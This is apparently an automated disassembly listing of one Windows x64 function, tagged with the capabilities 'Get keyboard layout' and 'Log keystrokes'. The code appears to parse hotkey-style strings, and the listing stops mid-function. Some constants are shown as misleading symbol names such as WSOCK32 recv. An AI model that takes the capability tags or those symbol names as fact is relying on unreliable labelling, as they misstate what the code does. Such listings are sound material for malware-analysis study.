Function at 0x1400486b0
Capabilities:
Get keyboard layout
Log keystrokes

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x8188]
mov eax, 0x8288
call fcn.1400d9ac0
sub rsp, rax
mov rdi, rdx
mov r13, rcx
cmp qword [rcx + 0x70], 0
jne 0x1400486fb
cmp dword [rcx + 0x94], 0
mov byte [rsp + 0x43], 0
je 0x140048700
mov byte [rsp + 0x43], 1
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0x1000
mov qword [rsp + 0x70], 3
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 0x1000
mov qword [rbp - 0x40], 3
mov dword [rcx + 0x2d8], r8d
mov dword [rbp - 0x78], r14d
mov edx, 0x2000
xor ecx, ecx
call fcn.1400c049c
test rax, rax
je 0x14004acb2
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x1000
mov rbx, qword [rbp - 0x50]
test rbx, rbx
je 0x14004877c
add rbx, rbx
jmp 0x140048780
mov rbx, qword [rbp - 0x48]
lea rdx, [rbx + rbx]
mov rcx, qword [rbp - 0x60]
call fcn.1400c049c
test rax, rax
je 0x14004acb2
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x50], rbx
mov rax, qword [rsp + 0x50]
mov word [rax], r14w
lea r15, [0x1400fbbd0]
cmp qword [rsp + 0x58], 0xffffffffffffffff
je 0x14004aa8b
mov r8, qword [rbp - 0x68]
mov qword [rbp - 0x80], r8
movzx eax, byte [rbp + 0x81e8]
mov byte [rbp + 0x81e8], al
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x44], eax
movzx ecx, word [rbp + 0x81e0]
mov dword [rsp + 0x4c], ecx
mov ebx, 0xffdf
mov eax, dword [rbp - 0x78]
mov dword [r13 + 0x2dc], eax
mov qword [r13 + 0x6b8], r14
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
lea r8, [rsp + 0x50]
mov rdx, rdi
mov rcx, r13
call fcn.14004bc80
test eax, eax
je 0x14004ae0e
cmp qword [rsp + 0x58], 0
je 0x140049f21
nop dword [rax]
nop word [rax + rax]
mov rsi, r14
mov r12, r14
mov rcx, qword [rsp + 0x50]
cmp word [rcx], 0x3a
jne 0x140048983
lea rax, [rcx + 2]
movzx edx, word [rax]
test dx, dx
je 0x140048983
mov r9, rax
mov qword [rbp - 0x80], rax
cmp dx, 0x3a
je 0x14004889a
mov edx, 0x3a
mov rcx, rax
call fcn.1400bb988
mov rsi, rax
mov rcx, qword [rsp + 0x50]
test rax, rax
je 0x140048980
add rsi, 2
mov r9, qword [rbp - 0x80]
jmp 0x1400488a9
cmp word [rcx + 4], 0
je 0x140048983
lea rsi, [rcx + 4]
mov qword [rbp - 0x70], rsi
test rsi, rsi
je 0x140048983
movzx eax, byte [0x140125b0c]
mov byte [rbp + 0x81e8], al
mov rdx, r9
cmp r9, rsi
jae 0x1400488fb
nop dword [rax + rax]
movzx ecx, word [rdx]
lea eax, [rcx - 0x61]
cmp ax, 0x19
ja 0x1400488df
and cx, bx
add rdx, 2
cmp cx, 0x58
je 0x1400488f0
cmp rdx, rsi
jb 0x1400488d0
jmp 0x1400488fb
cmp word [rdx], 0x30
setne byte [rbp + 0x81e8]
mov rbx, rsi
movzx r13d, byte [rbp + 0x81e8]
lea r14, [0x140000000]
nop dword [rax]
movzx eax, word [rbx]
test ax, ax
je 0x140048961
cmp ax, 0x60
je 0x14004892a
cmp ax, 0x3a
je 0x14004892a
add rbx, 2
jmp 0x140048910
movzx eax, word [rbx]
test ax, ax
je 0x140048961
lea rdx, [rbx + 2]
cmp ax, 0x3a
jne 0x1400489fd
test r12, r12
jne 0x140048a75
cmp word [rdx], ax
jne 0x140048a75
mov r12, rbx
mov rbx, rdx
test r13b, r13b
je 0x140048a75
test r12, r12
mov r14d, 0
mov rsi, qword [rbp - 0x70]
mov r13, qword [rbp + 0x81d0]
jne 0x140048abc
mov rcx, qword [rsp + 0x50]
mov rsi, r14
mov qword [rbp - 0x70], rsi
lea rdx, [0x1401048b0]
call fcn.1400bc350
mov r12, rax
test rax, rax
je 0x140048ad6
mov rcx, qword [rsp + 0x50]
cmp rax, rcx
jne 0x1400489b4
cmp word [rax + 4], 0x3a
jne 0x1400489b4
add r12, 2
mov rbx, r12
cmp r12, rcx
jbe 0x1400489d8
nop dword [rax]
movzx eax, word [rbx]
cmp ax, 0x20
je 0x1400489cf
cmp ax, 9
jne 0x1400489d8
sub rbx, 2
cmp rbx, rcx
ja 0x1400489c0
movzx edi, word [rbx]
mov word [rbx], r14w
mov rcx, qword [rsp + 0x50]
movzx eax, word [rcx]
cmp ax, 0x20
je 0x1400489f7
cmp ax, 9
jne 0x140048a7e
add rcx, 2
jmp 0x1400489e4
movzx eax, word [rdx]
add eax, 0xffffff9f
cmp eax, 0x15
ja case.0x140048a15.99
cdqe
mov ecx, dword [r14 + rax*4 + 0x4ae3c]
add rcx, r14
jmp rcx
mov word [rdx], 7
jmp case.0x140048a15.99
mov word [rdx], 8
jmp case.0x140048a15.99
mov word [rdx], reloc.WSOCK32.dll_ioctlsocket
jmp case.0x140048a15.99
mov word [rdx], 0xa
jmp case.0x140048a15.99
mov word [rdx], recv
jmp case.0x140048a15.99
mov word [rdx], 9
jmp case.0x140048a15.99
mov word [rdx], reloc.WSOCK32.dll_inet_ntoa
jmp case.0x140048a15.99
mov word [rdx], SafeArrayAllocDescriptor
mov r8, 0xffffffffffffffff
lea r8, [r8 + 1]
cmp word [rdx + r8*2], 0
jne 0x140048a54
lea r8, [r8*2 + 2]
mov rcx, rbx
call fcn.1400bba40
dec qword [rsp + 0x58]
add rbx, 2
jmp 0x140048910
xor r8d, r8d
xor edx, edx
call fcn.14001a190
mov edx, eax
mov dword [rsp + 0x44], eax
test eax, eax
je 0x14004ae0e
cmp eax, 4
cmove r12, r14
mov word [rbx], di
mov r9, qword [rbp - 0x80]
mov qword [rbp - 0x80], r9
movzx ebx, byte [rbp + 0x81e8]
mov byte [rbp + 0x81e8], bl
test r12, r12
je 0x140048ad6
jmp 0x140048acb
mov edx, dword [rsp + 0x44]
movzx ebx, byte [rbp + 0x81e8]
mov r9, qword [rbp - 0x80]
cmp r12, qword [rsp + 0x50]
ja 0x140048d5d
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
cmp word [rcx + rax*2 - 2], 0x3a
jne 0x140048b47
lea rsi, [r13 + 0x94]
cmp dword [rsi], 0
je 0x140048b02
mov rax, qword [0x14011f188]
cmp qword [rax + 0x28], 0
je 0x140048b47
mov rbx, qword [rsp + 0x50]
movzx eax, word [rbx]
cmp eax, 0x7f
ja 0x140048b20
mov ecx, eax
call fcn.1400c5040
test eax, eax
jne 0x140048b20
cmp word [rbx], 0x5f
jne 0x140048b26
add rbx, 2
jmp 0x140048b07
mov rax, rbx
mov rdi, qword [rsp + 0x50]
sub rax, rdi
sar rax, 1
inc rax
cmp rax, qword [rsp + 0x58]
jne 0x140048b47
cmp rbx, rdi
ja 0x1400499da
mov rdi, qword [rsp + 0x50]
cmp word [rdi], 0x23
jne 0x140048bdc
mov r8d, 6
lea rdx, [0x1400fffc0]
mov rcx, rdi
call fcn.1400c04f0
test eax, eax
jne 0x140048bb7
mov rdx, qword [rsp + 0x50]
movzx eax, word [rdx + 0xc]
cmp ax, 0x20
je 0x140048b84
cmp ax, 9
jne 0x140048bbc
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
lea r8, [rsp + 0x50]
mov rdx, qword [rbp + 0x81d8]
mov rcx, r13
call fcn.14004b0d0
test eax, eax
je 0x14004ae0e
mov rdx, qword [rsp + 0x50]
mov ebx, dword [r13 + 0x2dc]
mov rcx, r13
call fcn.14004c9f0
test eax, eax
je 0x14004ae0e
cmp eax, 3
je 0x140049a5e
mov rax, qword [rsp + 0x50]
movzx ecx, word [rax]
cmp cx, 0x7b
je 0x140048bf4
cmp cx, 0x7d
jne 0x140049a77
lea rsi, [r13 + 0x94]
movsxd rdx, dword [rsi]
test edx, edx
je 0x140048cca
mov rax, qword [0x14011f188]
cmp qword [rax + 0x28], 0
jne 0x140048cca
cmp cx, 0x7b
je 0x14004a9b8
cmp qword [r13 + 0x2c8], 0
je 0x140048c54
mov qword [r13 + 0x2c8], r14
mov rcx, qword [r13 + 0x2d0]
test rcx, rcx
je 0x140048cf4
call fcn.1400c0480
mov qword [r13 + 0x2d0], r14
jmp 0x140048cf4
lea eax, [rdx - 1]
mov dword [rsi], eax
mov rdi, qword [r13 + rdx*8 + 0x90]
lea rdx, [0x140105970]
mov rcx, rdi
call fcn.1400055e0
test rax, rax
je 0x140048c80
cmp dword [rax + 8], 5
jne 0x140048c80
mov rbx, qword [rax]
jmp 0x140048c83
mov rbx, r14
mov rcx, rdi
call fcn.14008ee70
mov rcx, rbx
call fcn.14008ee70
movsxd rax, dword [rsi]
mov rcx, qword [r13 + rax*8 + 0x98]
mov rax, qword [rcx]
call qword [rax + reloc.WSOCK32.dll_recv]
mov edx, 0x2e
lea rcx, [r13 + 0xc0]
call fcn.1400bb8dc
test rax, rax
je 0x140048cc0
mov word [rax], r14w
jmp 0x140048cf4
mov word [r13 + 0xc0], r14w
jmp 0x140048cf4
cmp cx, 0x7b
setne dl
add dl, 3
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov rcx, r13
call fcn.14004fa20
test eax, eax
je 0x14004ae0e
mov rdx, qword [rsp + 0x50]
add rdx, 2
movzx eax, word [rdx]
cmp ax, 0x20
je 0x140048cf9
cmp ax, 9
je 0x140048cf9
test ax, ax
je 0x1400494a8
mov rax, rdx
mov rdi, qword [rsp + 0x50]
sub rax, rdi
sar rax, 1
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov qword [rsp + 0x58], rcx
lea r8, [rcx*2 + 2]
mov rcx, rdi
call fcn.1400bba40
mov qword [r13 + 0x6b8], r14
cmp qword [rsp + 0x58], 0
je 0x140049f1a
mov ebx, 0xffdf
jmp 0x140048840
mov rax, qword [0x14011f188]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x140048d77
cmp rcx, qword [r13 + 0x30]
jne 0x14004a37c
cmp dword [r13 + 0x94], 0
jne 0x14004a37c
mov word [r12], r14w
add r12, 4
mov rcx, r12
movzx eax, word [rcx]
cmp ax, 0x20
je 0x140048da0
cmp ax, 9
jne 0x140048da6
add rcx, 2
jmp 0x140048d91
cmp ax, 0x7b
jne 0x140048db8
cmp word [rcx + 2], 0
jne 0x140048db8
mov dil, 1
jmp 0x140048dbb
xor dil, dil
mov dword [rsp + 0x48], edi
test rsi, rsi
je 0x140048dcc
test bl, bl
je 0x140049767
mov r12, rcx
test rsi, rsi
jne 0x140049767
mov qword [rbp - 0x68], rcx
cmp ax, 0x60
jne 0x140048df2
lea rax, [rcx + 2]
cmp word [rax], 0x7b
cmove r12, rax
mov qword [rbp - 0x68], r12
mov r15, r12
test dil, dil
jne 0x1400494f2
cmp word [r12], 0
je 0x1400494f2
movzx eax, word [r12 + 2]
test ax, ax
je 0x140048fdb
lea r8, [0x140000000]
cmp ax, 0x20
je case.0x140048e48.34
movzx eax, word [r15]
add eax, 0xffffffdf
cmp eax, 0x5d
ja case.0x140048e48.34
cdqe
movzx eax, byte [r8 + rax + 0x4ae9c]
mov ecx, dword [r8 + rax*4 + 0x4ae94]
add rcx, r8
jmp rcx
add r15, 2
movzx eax, word [r15 + 2]
test ax, ax
jne 0x140048e20
mov dword [rsp + 0x44], edx
mov byte [rbp + 0x81e8], bl
mov qword [rbp - 0x80], r9
mov qword [rbp - 0x70], rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
movzx ecx, word [r15]
test cx, cx
jne 0x140048e83
xor r13b, r13b
jmp 0x140048fd0
movzx edx, word [r15 + 2]
test dx, dx
jne 0x140048ebd
mov r9b, 1
mov r8, rax
xor edx, edx
call fcn.1400234b0
movzx r13d, al
mov qword [rbp - 0x70], rsi
mov r8, qword [rbp - 0x80]
mov qword [rbp - 0x80], r8
mov byte [rbp + 0x81e8], bl
mov esi, dword [rsp + 0x44]
mov dword [rsp + 0x44], esi
jmp 0x140048fd0
lea eax, [rcx - 0x61]
mov r9d, 0xffdf
cmp ax, 0x19
ja 0x140048ed0
and cx, r9w
cmp cx, 0x56
jne 0x140048f10
lea eax, [rdx - 0x61]
cmp ax, 0x19
ja 0x140048ee3
and dx, r9w
cmp dx, 0x4b
jne 0x140048f10
lea rcx, [r15 + 4]
mov r8d, reloc.WSOCK32.dll_recv
lea rdx, [rbp - 0x28]
call fcn.1400c6d68
mov r13d, r14d
movzx ecx, al
mov rax, qword [rbp - 0x28]
cmp word [rax], 0
cmove r13d, ecx
jmp 0x140048e9e
mov rdi, r14
lea r13, [0x14011f3a0]
mov rbx, r13
mov qword [rbp - 0x70], rsi
mov r8, qword [rbp - 0x80]
mov qword [rbp - 0x80], r8
movzx eax, byte [rbp + 0x81e8]
mov byte [rbp + 0x81e8], al
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x44], eax
nop
mov rdx, r15
mov rcx, qword [rbx]
call fcn.1400c0304
test eax, eax
je 0x140048fc7
inc rdi
add rbx, 0x10
lea rax, [0x14011fa50]
cmp rbx, rax
jl 0x140048f40
xor edx, edx
mov rcx, r15
call fcn.140023260
test ax, ax
je 0x140048e7b
movzx edx, ax
sub edx, 0x45
je 0x140048fbf
sub edx, 0xf1
je 0x140048f8a
cmp edx, 0xf
jne 0x140048f94
mov ecx, 0xff
and ax, cx
jmp 0x140048f99
mov ecx, 0xff
bt ax, 8
jae 0x140048fab
and ax, cx
mov ecx, 0xe000
or ax, cx
movzx ecx, ax
mov edx, 3
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
movzx r13d, al
jmp 0x140048fd0
mov al, reloc.WSOCK32.dll_send
movzx r13d, al
jmp 0x140048fd0
add rdi, rdi
movzx r13d, byte [r13 + rdi*8 + 8]
test r13b, r13b
je 0x140049543
jmp 0x140048fde
mov r13b, 0xff
mov rbx, qword [rsp + 0x50]
cmp word [rbx], 0
je case.0x140049025.34
cmp word [rbx + 2], 0
je case.0x140049025.34
movzx eax, word [rbx + 2]
lea rdx, [0x140000000]
nop dword [rax + rax]
cmp ax, 0x20
je case.0x140049025.34
movzx eax, word [rbx]
add eax, 0xffffffdf
cmp eax, 0x5d
ja case.0x140049025.34
cdqe
movzx eax, byte [rdx + rax + 0x4af04]
mov ecx, dword [rdx + rax*4 + 0x4aefc]
add rcx, rdx
jmp rcx
add rbx, 2
movzx eax, word [rbx + 2]
test ax, ax
jne 0x140049000
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140023350
movzx r12d, al
lea rdx, [0x1401014c8]
mov rcx, rbx
call fcn.1400bc350
mov rsi, rax
lea ecx, [r12 - 1]
cmp cl, 5
ja 0x140049074
cmp r12b, 3
jne 0x14004907e
lea ecx, [r12 + 0x66]
cmp cl, 5
ja 0x140049082
mov cl, 1
jmp 0x140049084
xor cl, cl
lea eax, [r13 - 1]
cmp al, 5
ja 0x140049092
cmp r13b, 3
jne 0x14004909a
lea eax, [r13 + 0x66]
cmp al, 5
ja 0x14004909f
mov r14b, 1
jmp 0x1400490a2
xor r14b, r14b
test cl, cl
jne 0x1400490b0
test r14b, r14b
je 0x1400490b0
mov dil, 1
jmp 0x1400490b3
xor dil, dil
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x1400490c0
cmp rax, 1
jne 0x1400490ed
movzx ecx, word [rbx]
call qword [sym.imp.USER32.dll_IsCharUpperW]
test eax, eax
je 0x1400490ed
lea rcx, [0x140104940]
lea rax, [0x1400fbbd0]
jmp 0x1400490f7
lea rax, [0x1400fbbd0]
mov rcx, rax
lea r9, [0x1400ffd5c]
test rsi, rsi
cmovne r9, rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x140102f40]
mov edx, SafeArrayAllocDescriptor
lea rcx, [rbp + 0x30]
call fcn.14009c880
movzx eax, word [r15]
cmp ax, 0x22
je 0x140049153
cmp ax, 0x60
je 0x140049153
mov r8d, SafeArrayAllocDescriptor
mov rdx, r15
lea rcx, [rbp - 0x10]
call fcn.1400cee44
xor esi, esi
mov word [rbp + 0x2e], si
jmp 0x140049166
mov ecx, 0x60
mov word [rbp - 0x10], cx
mov word [rbp - 0xe], ax
xor esi, esi
mov word [rbp - 0xc], si
mov r8d, 7
mov rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x38]
call fcn.1400cee44
mov word [rbp - 0x2a], si
sub r15, qword [rbp - 0x68]
sar r15, 1
cmp r15, 8
jae 0x140049190
mov word [rbp + r15*2 - 0x38], si
cmp word [rbp - 0x38], 0
jne 0x1400491b5
cmp r13b, 0x13
jne 0x1400491b5
lea rdx, [0x1400fd058]
lea rcx, [rbp - 0x10]
call fcn.1400c0304
test eax, eax
je 0x14004953c
mov rbx, qword [rbp + 0x81d0]
cmp qword [rbx + 0x30], 0
jne 0x140049f2d
mov rcx, rbx
call fcn.1400624c0
test rax, rax
je 0x14004a025
lea r8, [rsp + 0x42]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14001a920
mov rcx, qword [rbx + 0x30]
test rax, rax
je 0x140049207
movzx r8d, byte [rsp + 0x40]
mov rdx, rcx
mov rcx, rax
call fcn.14001a060
jmp 0x140049218
xor edx, edx
movzx r9d, byte [rsp + 0x40]
lea r8, [rbp + 0x30]
call fcn.140019550
test rax, rax
je 0x14004a025
lea r15, [0x1400fd328]
test r14b, r14b
lea rax, [0x1400fd340]
cmovne r15, rax
mov r8, r15
lea rdx, [0x1401049b8]
lea rcx, [rbp + 0x170]
call fcn.140006dc0
movsxd rcx, eax
lea rsi, [rbp + 0x170]
lea rsi, [rsi + rcx*2]
test dil, dil
je 0x140049279
lea r8, [rbp - 0x10]
lea rdx, [0x1401049c8]
mov rcx, rsi
call fcn.140006dc0
movsxd rcx, eax
lea rsi, [rsi + rcx*2]
lea rdi, [rbp - 0x20]
lea rbx, [0x1401049f8]
movzx eax, word [0x1401049f8]
nop dword [rax + rax]
movzx edx, ax
lea rcx, [rbp + 0x30]
call fcn.1400bb988
test rax, rax
je 0x1400492c3
cmp word [rax + 2], 0
je 0x1400492c3
movzx edx, word [rbx]
lea rcx, [rbp - 0x38]
call fcn.1400bb988
test rax, rax
jne 0x1400492c3
movzx eax, word [rbx]
mov word [rdi], ax
add rdi, 2
add rbx, 2
movzx eax, word [rbx]
test ax, ax
jne 0x140049290
xor r14d, r14d
mov word [rdi], r14w
lea r9, [0x1400fbbd0]
movzx ecx, r13b
sub ecx, 0x12
je 0x1400492f3
sub ecx, 0x92
je 0x1400492f3
cmp ecx, 1
jne 0x140049318
mov ecx, r12d
sub ecx, 0x11
je 0x140049311
sub ecx, 0x91
je 0x140049311
cmp ecx, 1
jne 0x140049318
lea r9, [0x140104a20]
jmp 0x140049318
lea r9, [0x140104a08]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x20]
lea rdx, [0x140104a40]
mov rcx, rsi
call fcn.140006dc0
mov byte [rsp + 0x28], r14b
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov dl, 3
mov r13, qword [rbp + 0x81d0]
mov rcx, r13
call fcn.14004fa20
test eax, eax
je 0x14004ae0e
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x170]
mov rcx, r13
call fcn.14004dc60
test eax, eax
je 0x14004ae0e
mov byte [rsp + 0x28], r14b
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov dl, 4
mov rcx, r13
call fcn.14004fa20
test eax, eax
je 0x14004ae0e
lea r8, [rbp + 0x30]
lea rdx, [0x140104a80]
lea rcx, [rbp + 0x170]
call fcn.140006dc0
mov rcx, r13
call fcn.1400624c0
test rax, rax
je 0x14004ae0e
lea r8, [rsp + 0x42]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x170]
call fcn.14001a920
mov rcx, qword [r13 + 0x30]
test rax, rax
je 0x140049404
movzx r8d, byte [rsp + 0x40]
mov rdx, rcx
mov rcx, rax
call fcn.14001a060
jmp 0x140049418
xor edx, edx
movzx r9d, byte [rsp + 0x40]
lea r8, [rbp + 0x170]
call fcn.140019550
test rax, rax
je 0x14004ae0e
lea r9, [rbp - 0x10]
mov r8, r15
lea rdx, [0x140104a90]
lea rcx, [rbp + 0x170]
call fcn.140006dc0
mov byte [rsp + 0x28], r14b
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov dl, 3
mov rcx, r13
call fcn.14004fa20
test eax, eax
je 0x14004ae0e
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x170]
mov rcx, r13
call fcn.14004dc60
test eax, eax
je 0x14004ae0e
mov byte [rsp + 0x28], r14b
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov dl, 4
mov rcx, r13
call fcn.14004fa20
test eax, eax
je 0x14004ae0e
lea rsi, [r13 + 0x94]
mov rdi, qword [rbp + 0x81d8]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x50], rax
mov qword [rbp - 0x60], rcx
mov rcx, qword [rsp + 0x60]
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x50], rcx
mov rax, qword [rbp - 0x58]
mov qword [rsp + 0x58], rax
lea r15, [0x1400fbbd0]
cmp rax, 0xffffffffffffffff
je 0x14004aa92
jmp 0x1400487e2
test r12, r12
jne 0x14004954a
movzx esi, r14w
mov dword [rsp + 0x4c], esi
lea r8, [rsp + 0x42]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
call fcn.14001a920
mov rbx, rax
test rax, rax
je 0x14004966a
test si, si
je 0x1400495e4
mov word [rax + 6], si
mov edi, dword [rsp + 0x48]
lea r15, [r13 + 0x94]
jmp 0x1400498cd
xor r14d, r14d
mov r12, qword [rbp - 0x68]
mov r13, qword [rbp + 0x81d0]
cmp word [r12], 0
je 0x1400494f7
lea rdx, [0x1401031c0]
mov rcx, r12
call fcn.1400c0304
test eax, eax
jne 0x14004956c
mov esi, 0x7ffe
jmp 0x1400494fb
lea rdx, [0x1401031d0]
mov rcx, r12
call fcn.1400c0304
test eax, eax
jne 0x140049589
mov esi, 0x7ffd
jmp 0x1400494fb
lea rdx, [0x1401031e8]
mov rcx, r12
call fcn.1400c0304
test eax, eax
jne 0x1400495a6
mov esi, 0x7ffc
jmp 0x1400494fb
lea rdx, [0x140103200]
mov rcx, r12
call fcn.1400c0304
test eax, eax
jne 0x1400495c3
mov esi, 0x7ffb
jmp 0x1400494fb
lea rdx, [0x140103220]
mov rcx, r12
call fcn.1400c0304
test eax, eax
jne 0x1400494f7
mov esi, 0x7ffa
jmp 0x1400494fb
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x140049613
mov rax, qword [0x14011f188]
mov rdx, qword [rax + 0x80]
nop dword [rax + rax]
cmp qword [rcx + 0x10], rdx
je 0x14004a03f
mov rcx, qword [rcx + 0x18]
test rcx, rcx
jne 0x140049600
cmp qword [r13 + 0x30], 0
jne 0x14004962b
mov rcx, r13
call fcn.1400624c0
test rax, rax
je 0x14004ae0e
movzx r8d, byte [rsp + 0x40]
mov rdx, qword [r13 + 0x30]
mov rcx, rbx
call fcn.14001a060
test rax, rax
je 0x14004a0a7
cmp byte [rsp + 0x42], 0
jne 0x140049656
cmp byte [0x140125aef], 0
je 0x14004965a
mov byte [rbx + 0x14], 1
mov edi, dword [rsp + 0x48]
lea r15, [r13 + 0x94]
jmp 0x1400498cd
mov rax, qword [r13 + 0x30]
test si, si
je 0x1400496d6
test rax, rax
je 0x1400496ec
mov rdi, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test rdi, rdi
je 0x14004a216
test al, al
je 0x14004a216
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a1b5
cmp dword [r13 + 0x718], 0
jne 0x14004a1b5
cmp byte [0x140121a8a], 0
jne 0x14004a1b5
lea r9, [0x1400fbbd0]
lea rdx, [0x140104950]
jmp 0x14004acff
test rax, rax
jne 0x1400496ec
mov rcx, r13
call fcn.1400624c0
test rax, rax
je 0x14004ae0e
movzx r9d, byte [rsp + 0x40]
mov r8, qword [rsp + 0x50]
movzx edx, si
mov rcx, qword [r13 + 0x30]
call fcn.140019550
test rax, rax
jne 0x14004965a
cmp dword [rsp + 0x44], 3
jne 0x14004ae0e
cmp byte [r13 + 0x7a4], al
jne 0x14004965a
mov r9, qword [rsp + 0x50]
lea r8, [0x140104b50]
mov edx, 0x80
lea rcx, [rbp + 0x70]
call fcn.14009c880
mov qword [rsp + 0x20], r14
xorps xmm3, xmm3
xor r8d, r8d
mov edx, 0x10000
lea rcx, [rbp + 0x70]
call fcn.1400a34f0
mov edi, dword [rsp + 0x48]
lea r15, [r13 + 0x94]
jmp 0x1400498cd
cmp word [rsi], 0
je 0x14004a29e
test dil, dil
je 0x1400497ce
cmp byte [0x140125b25], 0
setne r8b
mov rdx, r9
cmp r9, rsi
jae 0x1400497c3
mov r9d, 0xffdf
nop
movzx ecx, word [rdx]
lea eax, [rcx - 0x61]
cmp ax, 0x19
ja 0x1400497a0
and cx, r9w
cmp cx, 0x52
je 0x1400497b2
cmp cx, 0x54
je 0x1400497b2
add rdx, 2
jmp 0x1400497be
add rdx, 2
cmp word [rdx], 0x30
setne r8b
cmp rdx, rsi
jb 0x140049790
movzx edi, dil
test r8b, r8b
cmovne edi, r14d
cmp word [r12], 0
je 0x140049855
test dil, dil
jne 0x140049855
test bl, bl
jne 0x140049855
lea rbx, [r13 + 0x30]
cmp qword [rbx], 0
je 0x14004987e
dec dword [r13 + 0x2dc]
mov ecx, dword [r13 + 0x2dc]
mov rdi, qword [r13 + 0x6b8]
movzx eax, byte [0x140127dbc]
test rdi, rdi
je 0x14004a276
test al, al
je 0x14004a276
mov rax, qword [0x14011f188]
cmp dword [rax + 0x60], 0
jne 0x14004a25d
cmp dword [r13 + 0x718], 0
jne 0x14004a25d
cmp byte [0x140121a8a], 0
jne 0x14004a25d
mov r9, r15
lea rdx, [0x140104950]
jmp 0x14004acff
lea rbx, [r13 + 0x30]
cmp qword [rbx], 0
jne 0x140049870
mov rcx, r13
call fcn.1400624c0
test rax, rax
je 0x14004ae0e
cmp byte [rbp + 0x81e8], 0
jne 0x140049883
test dil, dil
jne 0x140049883
mov rcx, r12
jmp 0x140049886
mov rcx, r15
mov byte [rsp + 0x30], 0
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], rcx
mov r9, rsi
mov r8, qword [rbp - 0x80]
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x50]
call fcn.14001b570
test eax, eax
je 0x14004ae0e
lea r15, [r13 + 0x94]
mov rsi, r15
cmp qword [rbx], 0
je 0x1400494a8
mov esi, dword [rsp + 0x4c]
cmp word [r12], 0
je 0x1400499d2
test dil, dil
je 0x1400498e5
mov dl, 3
jmp 0x1400499b2
cmp qword [rbp - 0x70], 0
je 0x1400498f5
movzx eax, byte [rbp + 0x81e8]
jmp 0x1400498fe
mov eax, r14d
test si, si
sete al
test eax, eax
je 0x1400499d2
mov rax, r12
mov rcx, qword [rsp + 0x50]
sub rax, rcx
sar rax, 1
mov r8, qword [rsp + 0x58]
sub r8, rax
mov qword [rsp + 0x58], r8
add r8, r8
mov rdx, r12
call fcn.1400bba40
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov word [rcx + rax*2], r14w
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
lea r8, [rsp + 0x50]
mov rdx, qword [rbp + 0x81d8]
mov rcx, r13
call fcn.14004b0d0
test eax, eax
je 0x14004ae0e
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov dl, 3
mov rcx, r13
call fcn.14004fa20
test eax, eax
je 0x14004ae0e
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, r13
call fcn.14004dc60
test eax, eax
je 0x14004ae0e
mov dl, 4
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov rcx, r13
call fcn.14004fa20
test eax, eax
je 0x14004ae0e
mov rsi, r15
jmp 0x1400494a8
mov rcx, qword [rsp + 0x58]
dec rcx
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x50]
mov word [rax + rcx*2], r14w
lea rdx, [0x140101a50]
mov rcx, qword [rsp + 0x50]
call fcn.1400c0304
test eax, eax
jne 0x140049a39
